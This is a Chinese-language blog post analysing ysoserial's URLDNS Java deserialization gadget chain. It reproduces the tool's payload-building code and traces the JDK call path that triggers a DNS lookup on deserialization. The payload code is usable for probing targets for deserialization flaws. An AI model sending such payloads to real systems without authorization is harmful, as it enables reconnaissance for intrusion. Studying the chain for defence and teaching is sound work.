YsoSerial 工具常用Payload分析之URLDNS
本文假设你对Java基本数据结构、Java反序列化、高级特性(反射、动态代理)等有一定的了解。
背景
YsoSerial是一款反序列化利用的便捷工具,可以很方便的生成基于多种环境的反序列化EXP。java -jar ysoserial.jar
可以直接查看payload适用环境及其适用版本。
关于此工具的背景,我引用P神的《Java安全漫游》文章对其的描述:
2015年Gabriel Lawrence (@gebl)和Chris Frohoffff (@frohoffff)在AppSecCali上提出了利⽤Apache Commons Collections来构造命令执⾏的利⽤链,并在年底因为对Weblogic、JBoss、Jenkins等著名应⽤的利⽤,⼀⽯激起千层浪,彻底打开了⼀⽚Java安全的蓝海。⽽ysoserial就是两位原作者在此议题中释出的⼀个⼯具,它可以让⽤户根据⾃⼰选择的利⽤链,⽣成反序列化利⽤数据,通过将这些数据发送给⽬标,从⽽执⾏⽤户预先定义的命令。
下载工具源码发现主要payload生成逻辑都在ysoserial.payloads包下面:
接下来主要针对 URLDNS、 CommonCollections1-7、CommonsBeanutils 利用链进行分析:
URLDNS
URLDNS 是要介绍的几条链中调用逻辑最简单的一条,所以以这条链开始。我们来看看yso是怎么写的
public Object getObject(final String url) throws Exception {
//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
return ht;
}
getObject方法就是获取最后的利用类,return的是一个以精心构造的URL对象为key,url字符串为值的hashMap,调试一下看下调用链。
HashMap.readOject -> HashMap.hash() -> URLStreamHandler.hashCode() -> URLStreamHandler.getHostAddress()(获取url的dns地址)
- HashMap.readOject()
readObject中有读取key,然后对key进行hash操作,从yso代码得知,hashmap的key为精心构造的URL对象
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
....
....
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
- HashMap.hash()
跟进hash,里面调用了URL对象的hashCode()方法。
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
- URL.hashCode()
URL对象的存在默认的私有hashCode变量其值为-1,所以会调用yso代码中URL对象构造方法的第三个参数,URLStreamHandler的hashcode。
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
private int hashCode = -1;
- URLStreamHandler.hashCode()
然后调用URLStreamHandler的getHostAddress()方法
protected int hashCode(URL u) {
...
// Generate the host part.
InetAddress addr = getHostAddress(u);
...
return h;
}
- URL.getHost()
getHost 就会发起对应url的请求,后续就不用再跟了。
rotected synchronized InetAddress getHostAddress(URL u) {
...
String host = u.getHost();
...
return u.hostAddress;
}
以上就是URLDNS的调用逻辑,但是在yso中还是有两个点值得我们注意:
- Reflections.setFieldValue(u, "hashCode", -1); 这一行代码是干嘛的,是多余的吗?
- 为什么SilentURLStreamHandler 会实现两个空方法?
首先第一个问题,这一行代码是干嘛的,为什么要将URL对象中的hashcode通过反射的方式设置为-1呢,URL对象中的hash code本身就是-1,为什么要这么做?
其实通过代码中的注释我们也能知道,在hashMap进行put操作时,会调用hash()方法,进而完成了一次类似反序列化的调用,handler调用hashcode()方法时也会将默认的hashCode值进行重新计算,所以put()完,本身的hashCode已经不为-1了,所以反序列就不会在继续执行handler.hashCode(this),也就没发触发DNS请求。
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
第二个问题,其实和第一个问题一样,在put时也会进行一次hash()调用从而进行一次dns请求,为了避免在生成payload对象时候发起dns请求,所以继承了URLStreamHandler,实现getHostAddress、openConnection两个方法进行空操作,进而在生产payload对象时就不会发器dns请求了。
刚开始看到这里的时候我比较疑惑,重写了这两个方法到时候在使用这个payload去利用的时候不就没发正常发起DNS请求了吗,那这样做意义何在?原来我忽略了一个东西,在URL类中,URLStreamHandler被transient
关键字标记,transient
标记的属性在序列化时不会带入序列化的数据里面,这样在生成payload或者调试的时候不会发起DNS请求,但又不影响payload的正常使用,非常巧妙。
总结
URLDNS是一个不需要依赖其他包的反序列化利用,且调用过程比较简单,只会在HashMap与StreamHandler之间调用,稍微需要注意的也就是亮点,一个为什么要将hashcode最后通过反射的方式置为-1,另一个是为什么重写过StreamHandler两个方法为空操作后仍然能在凡序化后正常发起dns请求。
虽然URLDNS这条链很简单,但其实它做不了什么,仅仅只能帮助我们判断这个地方可能存在用户可控的凡序列化问题,仍然不能进行进一步的利用,那要怎么才能利用乃至RCE呢? 下一专题Common-collections1 就来帮助我们解决这个问题。
YsoSerial 工具常用Payload分析之URLDNS的更多相关文章
- YsoSerial 工具常用Payload分析之CC1
前文介绍了最简单的反序列化链URLDNS,虽然URLDNS本身不依赖第三方包且调用简单,但不能做到漏洞利用,仅能做漏洞探测,如何才能实现RCE呢,于是就有Common-collections1-7.C ...
- YsoSerial 工具常用Payload分析之CC5、6(三)
前言 这是common-collections 反序列化的第三篇文章,这次分析利用链CC5和CC6,先看下Ysoserial CC5 payload: public BadAttributeValue ...
- YsoSerial 工具常用Payload分析之Common-Collections7(四)
前言 YsoSerial Common-Collection3.2.1 反序列化利用链终于来到最后一个,回顾一下: 以InvokerTranformer为基础通过动态代理触发AnnotationInv ...
- YsoSerial 工具常用Payload分析之Common-Collections2、4(五)
前言 Common-Collections <= 3.2.1 对应与YsoSerial为CC1.3.5.6.7 ,Commno-collections4.0对应与CC2.4. 这篇文章结束官方原 ...
- YsoSerial 工具常用Payload分析之CC3(二)
这是CC链分析的第二篇文章,我想按着common-collections的版本顺序来介绍,所以顺序为 cc1.3.5.6.7(common-collections 3.1),cc2.4(common- ...
- Java应用常用性能分析工具
Java应用常用性能分析工具 好的工具有能有效改善和提高工作效率或加速分析问题的进度,笔者将从事Java工作中常用的性能工具和大家分享下,如果感觉有用记得投一票哦,如果你有好的工具也可以分享给我 工具 ...
- Fiddler抓取https请求 & Fiddler抓包工具常用功能详解
Fiddler抓取https请求 & Fiddler抓包工具常用功能详解 先来看一个小故事: 小T在测试APP时,打开某个页面展示异常,于是就跑到客户端开发小A那里说:“你这个页面做的有问 ...
- SoapUI、Jmeter、Postman三种接口测试工具的比较分析
前段时间忙于接口测试,也看了几款接口测试工具,简单从几个角度做了个比较,拿出来与诸位分享一下吧.各位如果要转载,请一定注明来源,最好在评论中告知博主一声,感谢.本报告从多个方面对接口测试的三款常用工具 ...
- SoapUI、Jmeter、Postman三种接口测试工具的比较分析——灰蓝
前段时间忙于接口测试,也看了几款接口测试工具,简单从几个角度做了个比较,拿出来与诸位分享一下吧.各位如果要转载,请一定注明来源,最好在评论中告知博主一声,感谢.本报告从多个方面对接口测试的三款常用工具 ...
随机推荐
- TensorFlowMNIST数据集逻辑回归处理
TensorFlow逻辑回归处理MNIST数据集 本节基于回归学习对 MNIST 数据集进行处理,但将添加一些 TensorBoard 总结以便更好地理解 MNIST 数据集. MNIST由https ...
- MEMORY_TARGET不够时解决办法
一.报错原因:设置的memory_max_target超过了系统中设置的share memory(/dev/shm)而已. 二.解决办法:增加tmpfs的大小 三.调整tmpfs的大小(两种方法) 1 ...
- SqlServer中offset..fetch 的使用问题
好久没更新了,最近忙的很,也生病了,重感冒,555~~~ 早上抽的一丝空闲,来讲讲SqlServer中的分页问题.其实用过了多种数据库,分页这问题已经是老生常谈的问题了.不管是开发什么类型的网站,只要 ...
- Kafka 总结学习
Kafka Need No Keeper 最近在鹅厂工作中不断接触到Kafka,虽然以前也使用过,但是对其架构和发展过程总是模模糊糊,所以在回学校准备末考的时候找些资料总结一下. Kafka Need ...
- 手摸手,带你用Beego撸商城系列二(登录篇)
完整项目地址: go-shop-b2c 系列文章: 手摸手,带你用 Beego撸商城 系列一(基础篇) 手摸手,带你用 Beego撸商城 系列二(登录篇) 手摸手,带你用 Beego撸商城 系列三(系 ...
- ceph-csi源码分析(6)-rbd driver-nodeserver分析(下)
更多 ceph-csi 其他源码分析,请查看下面这篇博文:kubernetes ceph-csi分析目录导航 ceph-csi源码分析(6)-rbd driver-nodeserver分析(下) 当c ...
- 第14章:部署Java网站项目案例
1 说明 (1) 项目迁移到k8s平台的流程 1) 制作镜像 dockerfile.docker+jenkins持续集成.镜像分类:基础镜像.中间镜像.项目镜像 2) 控制器管理pod 控制器管理po ...
- 9、解决mstsc卡顿的问题:
1.同时按住"win+r"键调出"运行",在方框内输入"cmd"后点击"确定"打开dos窗口: 2.在dos中输入&qu ...
- 23、mysql高可用实践
23.1.mysql高可用业务需求: 23.2.mysql高可用架构图(单主热备模式): 23.6.部署drbd.heartbeat.mysql的主从同步: 1.部署heartbeat:参考" ...
- Doris开发手记2:用SIMD指令优化存储层的热点代码
最近一直在进行Doris的向量化计算引擎的开发工作,在进行CPU热点排查时,发现了存储层上出现的CPU热点问题.于是尝试通过SIMD的指令优化了这部分的CPU热点代码,取得了较好的性能优化效果.借用本 ...